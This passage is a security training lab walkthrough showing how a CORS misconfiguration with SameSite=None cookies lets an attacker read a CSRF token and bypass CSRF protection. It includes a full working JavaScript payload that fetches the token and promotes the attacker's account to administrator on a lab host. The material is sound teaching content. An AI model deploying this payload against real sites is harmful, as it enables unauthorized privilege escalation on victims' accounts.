Bypassing CSRF Tokens via CORS Misconfigurations

In addition to the attack vectors discussed in the previous sections, CORS misconfigurations can also be used to bypass CSRF defenses and carry out CSRF attacks even if proper defenses are implemented.

If CORS is misconfigured so that session cookies are sent along with cross-origin requests, i.e., the Access-Control-Allow-Credentials is set, we can effectively bypass the Same-Origin policy. In that case, common CSRF defenses are ineffective, as we will discuss in this section.

Defense Bypass: CSRF Tokens

If we can bypass the Same-Origin policy due to a CORS misconfiguration, we can access the response of cross-origin requests we make. This allows us to make a cross-origin request to the endpoint that creates a valid CSRF token, read it, embed it into our state-changing cross-origin request, and send the state-changing cross-origin request with the valid CSRF token. Since all this happens in the victim's session, the CSRF token is valid even if properly checked and tied to the victim's user session.

However, for the victim's browser to send the victim's session cookie along with requests made from JavaScript, we require the vulnerable web application to explicitly set the SameSite cookie attribute to None in addition to the CORS misconfiguration. Per the specification, this is only allowed with the Secure cookie attribute, which allows cookie transmission via secure HTTPS connections only. The cookie will not be sent along any unencrypted HTTP connections.

Due to this restriction, the sample web application and all other lab components are only accessible using HTTPS. If we analyze the web application, we can notice that the web application sets the Access-Control-Allow-Origin and Access-Control-Allow-Credentials CORS headers, indicating that we should check for a CORS misconfiguration. Furthermore, the session cookie is set with both the Secure and SameSite=None cookie attributes:

image

We can analyze the web application's behavior if we supply different values in the HTTP Origin header. If we supply an arbitrary value, we can see that the web application is indeed misconfigured, as arbitrary origins are reflected in the Access-Control-Allow-Origin CORS header:

image

We can exploit this CORS misconfiguration with the SameSite=None cookie attribute to bypass proper CSRF protection and execute a CSRF attack. Let us analyze the web application further to identify potential targets for this attack.

Like before, the web application implements a functionality to promote user accounts to administrators. This time, the corresponding POST request is properly protected by a CSRF token:

image

Let us write an exploit to obtain a valid CSRF token in the victim's session and subsequently make the corresponding cross-origin request to make the victim promote our user account to have administrator privileges. The CSRF token is sent in response to a GET request to the /profile.php endpoint. We can make the corresponding request, parse the response, and extract the CSRF token using JavaScript code similar to the following:

Code: js

var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://bypassing-csrftokens.htb/profile.php', false);
xhr.withCredentials = true;
xhr.send();
var doc = new DOMParser().parseFromString(xhr.responseText, 'text/html');
var csrftoken = encodeURIComponent(doc.getElementById('csrf').value);

Afterward, we can construct the cross-origin request to promote our user with the valid CSRF token:

Code: js

var csrf_req = new XMLHttpRequest();
var params = `promote=htb-stdnt&csrf=${csrftoken}`;
csrf_req.open('POST', 'https://bypassing-csrftokens.htb/profile.php', false);
csrf_req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
csrf_req.withCredentials = true;
csrf_req.send(params);

We can combine both parts to come up with the following payload on our exploit server:

Code: html

<script>
	// GET CSRF token
	var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://bypassing-csrftokens.htb/profile.php', false);
    xhr.withCredentials = true;
    xhr.send();
    var doc = new DOMParser().parseFromString(xhr.responseText, 'text/html');
	var csrftoken = encodeURIComponent(doc.getElementById('csrf').value);

	// do CSRF
    var csrf_req = new XMLHttpRequest();
    var params = `promote=htb-stdnt&csrf=${csrftoken}`;
    csrf_req.open('POST', 'https://bypassing-csrftokens.htb/profile.php', false);
	csrf_req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    csrf_req.withCredentials = true;
    csrf_req.send(params);
</script>

If we view our exploit, we can see an authenticated GET request to /profile.php followed by an authenticated POST request to /profile.php with the valid CSRF token. Thus, our exploit should work. After delivering it to the victim and waiting for a few seconds, our user is promoted to administrator. Thus, we successfully exploited the CORS misconfiguration to bypass the CSRF protection and conduct a successful CSRF attack:

Last updated